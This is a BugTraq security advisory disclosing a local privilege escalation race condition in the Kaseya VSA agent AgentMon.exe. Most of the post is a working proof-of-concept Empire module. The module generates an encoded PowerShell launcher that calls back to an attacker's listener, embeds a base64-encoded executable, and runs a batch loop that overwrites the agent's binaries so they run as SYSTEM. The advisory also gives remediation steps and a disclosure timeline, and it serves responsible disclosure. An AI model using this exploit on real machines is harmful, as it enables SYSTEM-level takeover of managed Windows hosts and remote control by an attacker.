BugTraq
Kaseya AgentMon.exe <= 9.3.0.11 - Local Privilege Escalation Mar 22 2018 01:23PM
x ksi (s3810 pjwstk edu pl)
Hey,

The Local Privilege Escalation vulnerability was found in the Kaseya
Virtual System Administrator (VSA) [1] agent "AgentMon.exe". The agent is a
Windows service that periodically executes various programs with â??NT
AUTHORITY\SYSTEM� privileges.

In the Kaseya's default configuration, Windows users who belong to the
â??Authenticated Usersâ? group can modify files residing in the working and
temporary directories e.g.:
- "HKLM\SOFTWARE\Kaseya\Agent\...\TempPath"
- "C:\Temp"
- "C:\kworking"

The list of executables that are stored in these directories and are run by
the agent includes, but is not limited to:
- "C:\kworking\NetUserStateAudit.exe"
- "C:\kworking\KLicense.exe"
- "C:\Temp\kwami.dll"

The VSA agent before running the executables performs verification if the
files were modified. If it detects that was the case, then it restores them
to their known-good originals. However, this process was found to suffer
from a Time of Check & Time of Use (TOCTOU) issue and that it is possible
to win a race condition which makes it possible to run arbitrary
executables with "NT AUTHORITY\SYSTEM" privileges.

The PoC exploiting this vulnerability is included below. The PoC is an
Empire module (https://github.com/EmpireProject/Empire) and it currently
supports exploitation by replacing one of the following files:
- "C:\kworking\NetUserStateAudit.exe" ($exe in PoC)
- "C:\Temp\kwami.dll" ($dll in PoC)

--
$ cat > kaseya.py << EOF
from lib.common import helpers

class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Kaseya AgentMon.exe <= 9.3.0.11 - Local Privilege Escalation',
'Author': ['Filip.Palian (at) pjwstk.edu (dot) pl [email concealed]'],
'Description': (
'It\'s possible to exploit TOCTOU vulnerability in Kaseya '
'AgentMon.exe service by winning a race condition when it tries '
'to execute binaries from its working and/or temp folder.'),
'Background': False,
'OutputExtension': None,
'OpsecSafe': False,
'Language' : 'python',
'NeedsAdmin' : False,
'MinLanguageVersion' : '2.6',
'Comments': [
'http://kaseya.com/'
]
}

self.options = {
'Agent': {
'Description' : 'Agent to run on.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging ' + 'request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or' + 'other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:' + 'password) to use for request (default,' + 'none, or other).',
'Required' : False,
'Value' : 'default'
},
'Executable': {
'Description' : 'Name of the exacutable to replace in working' + 'folder (default or other).',
'Required' : False,
'Value' : 'default'
},
'Path': {
'Description' : 'Working or temp folder to use (default, work,' + 'temp).',
'Required' : False,
'Value' : 'default'
},
}

self.mainMenu = mainMenu

if params:
for param in params:
option, value = param
if option in self.options:
self.options[option]['Value'] = value

def generate(self):
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
execName = self.options['Executable']['Value']
path = self.options['Path']['Value']

if not self.mainMenu.listeners.is_listener_valid(listenerName):
print helpers.color("[!] Invalid listener: " + listenerName)
return ""
else:
launcher = self.mainMenu.stagers.generate_launcher(
listenerName,
language='powershell',
encode=True,
userAgent=userAgent,
proxy=proxy,
proxyCreds=proxyCreds
)

if launcher == "":
print helpers.color("[!] Error in launcher generation.")
return ""
else:
encLauncher = " ".join(launcher.split(" ")[1:])

script = '''
\$exe = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4
gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAAAOAADwMLAQIcACAAAAA
QAAAAgAAAcKMAAACQAAAAsAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAADAAAAAEAA
AAAAAAAMAQAEAACAAABAAAAAAE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
\$path = Get-ItemPropertyValue "hklm:\SOFTWARE\Kaseya\Agent\\$uid" `
-Name TempPath
[io.file]::WriteAllBytes(
"\$path\kaseya.exe",
[System.Convert]::FromBase64String(\$exe)
)
"powershell.exe %s" > "\$path\kaseya.ps1"
Remove-Item "\$path\kaseya.bat"
Add-Content "\$path\kaseya.bat" "cd \$path"
Add-Content "\$path\kaseya.bat" ":l"
Add-Content "\$path\kaseya.bat" "copy kaseya.exe \$exec_opt"
Add-Content "\$path\kaseya.bat" "goto l"
} else {
if (\$exec_opt.compareTo("default") -eq 0) {
\$exec_opt = "kawmi.dll"
}
\$path = "C:\\temp"
[io.file]::WriteAllBytes(
"\$path\kaseya.dll",
[System.Convert]::FromBase64String(\$dll)
)
Remove-Item "\$path\kaseya.bat"
Add-Content "\$path\kaseya.bat" "cd \$path"
Add-Content "\$path\kaseya.bat" ":l"
Add-Content "\$path\kaseya.bat" "copy kaseya.dll \$exec_opt"
Add-Content "\$path\kaseya.bat" "goto l"
}

# TODO: add check if we already won a race and kill the loop
Start-Process "\$path\kaseya.bat"

#while(1) {
# try {
# # FIXME: test Copy-Item to make it opsec safe
# #Copy-Item "\$path\kaseya.exe" "\$path\NetUserStateAudit.exe" `
# #-ErrorAction SilentlyContinue
# Copy-Item "\$path\kaseya.exe" "\$path\NetUserStateAudit.exe"
# } catch [System.Exception] {
# continue
# }
#}

''' % (path, execName, encLauncher)

return script
EOF
--

Remediation:
- Restrict permissions for users who can modify directories and files used
by the Kaseya VSA.
- Contact vendor for details.

Timeline:
03.08.2017: Initial contact email sent to security (at) kaseya (dot) com [email concealed] with
information about the vulnerability.
03.08.2017: Notification sent to vendor that CVE-2017-12410 has been
assigned for this vulnerability by MITRE.
05.08.2017: Vendor confirms receiving the information about the
vulnerability and informs that the development team is looking
into the issue.
19.11.2017: No vendor response. Request for a status update.
10.02.2018: No vendor response. Notifying vendor about the planned advisory
release.
11.02.2018: Vendor replies with information that the fix is ready, they are
in the process of backporting it across a three versions of
their code, testing it, releasing patches and rolling it out
across their sass (sic!) versions. Vendor requests to postpone
publication of the advisory for 30 days to ensure that patches
are tested and ready for release.
12.02.2018: Confirmation sent that the publication of the advisory will be
postponed.
12.02.2018: Vendor acknowledges and commits to provide a weekly updates as
they progress to release.
20.03.2018: No vendor response. Advisory published.
23.03.2018: The advisory is released.

References:
[1] https://www.kaseya.com/products/vsa

Acknowledgments:
- Mike Puglia (Kaseya)
- Niket Khosla (Telstra)
- Telstra BTS Security Services (redteamnsw (at) team.telstra (dot) com [email concealed])

Thanks,
Filip Palian

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus